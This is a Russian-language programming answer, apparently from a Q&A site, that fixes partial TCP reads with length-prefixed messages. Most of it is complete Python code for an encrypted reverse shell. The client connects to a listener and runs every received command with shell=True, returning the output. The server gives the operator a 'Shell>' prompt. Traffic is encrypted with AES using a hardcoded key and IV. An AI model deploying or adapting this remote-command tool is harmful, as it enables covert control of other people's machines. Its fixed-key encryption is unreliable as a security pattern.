print(decrypt(conn.recv(1024)).decode())
Проблема в том, что conn.recv(1024)
считывает только до 1024 байтов, тогда как вывод для более крупных команд, вероятно, имеет размер более 1024 байтов, что приводит к получению неполного зашифрованного текста.
Примечание что одно чтение также может иметь меньше байтов, поэтому мы действительно не знаем, сколько нам нужно прочитать, поскольку TCP - это протокол потоковой передачи.
Простое исправление для этого - добавить к каждому сообщению префикс длины зашифрованного текста. Используя 4 байта (32 бита) для максимальной стороны зашифрованного текста, сообщение выглядит следующим образом:
[p1,p2,p3,p4][c1,c2,c3...]
, где p1..p4
- это 4 байта префикса, а c1... cn
- байты зашифрованного текста.
Итак, теперь, когда мы начинаем читать сообщение, мы сначала читаем 4 байта, интерпретируя их как целое число, мы получаем размер следующего зашифрованного текста.
Пример реализации:
client.py
import socket
import subprocess
from protocol import read_msg, write_msg
def connect():
s = socket.socket()
s.connect(('localhost', 4040))
while True:
command = read_msg(s)
print("command %s" % command)
if 'leave' in command.decode():
break
else:
CMD = subprocess.Popen(command.decode(), shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE,
stdout=subprocess.PIPE)
write_msg(s, CMD.stdout.read())
def main():
connect()
main()
crypto.py
from Crypto.Util import Padding
from Crypto.Cipher import AES
key = b"H" * 32
IV = b"H" * 16
def encrypt(message):
encryptor = AES.new(key, AES.MODE_CBC, IV)
padded_message = Padding.pad(message, 16)
encrypted_message = encryptor.encrypt(padded_message)
return encrypted_message
def decrypt(cipher):
decryptor = AES.new(key, AES.MODE_CBC, IV)
decrypted_padded_message = decryptor.decrypt(cipher)
decrypted_message = Padding.unpad(decrypted_padded_message, 16)
return decrypted_message
protocol.py
from crypto import encrypt, decrypt
def read_msg(s):
max_buffer_size = 1024
length_buffer = b""
while True:
if len(length_buffer) == 4:
break
b = s.recv(1)
length_buffer += b
message_length = int.from_bytes(length_buffer, "big")
message_buffer = b""
read_size = min(message_length, max_buffer_size)
to_read = message_length
while to_read != 0:
read = s.recv(read_size)
message_buffer += read
to_read -= len(read)
return decrypt(message_buffer)
def write_msg(s, message):
encrypted_message = encrypt(message)
message_length = len(encrypted_message)
message_length_raw = message_length.to_bytes(4, "big")
s.send(message_length_raw + encrypt(message))
server.py
import socket
from protocol import write_msg, read_msg
def connect():
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('localhost', 4040))
s.listen(1)
conn, address = s.accept()
print('Connected')
while True:
command = input("Shell> ")
if 'leave' in command:
write_msg(conn, b'leave')
conn.close()
break
else:
write_msg(conn, command.encode())
print(read_msg(conn).decode())
def main():
connect()
main()